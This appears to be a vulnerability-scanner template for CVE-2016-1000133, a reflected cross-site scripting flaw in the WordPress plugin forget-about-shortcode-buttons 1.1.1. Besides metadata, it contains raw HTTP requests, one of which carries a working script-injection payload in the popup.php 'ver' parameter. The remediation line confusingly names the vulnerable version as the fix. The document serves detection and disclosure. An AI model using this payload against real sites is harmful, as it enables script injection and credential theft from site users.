| Title | WordPress forget-about-shortcode-buttons 1.1.1 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions. |
| Remediation | Update to the latest version of the WordPress forget-about-shortcode-buttons plugin (1.1.1) or apply the necessary patches. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02995 |
| CVE ID | CVE-2016-1000133 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress xss wp-plugin designsandcode vuln |
Wordpress plugin forget-about-shortcode-buttons 1.1.1 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/forget-about-shortcode-buttons/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php?source=1&ver=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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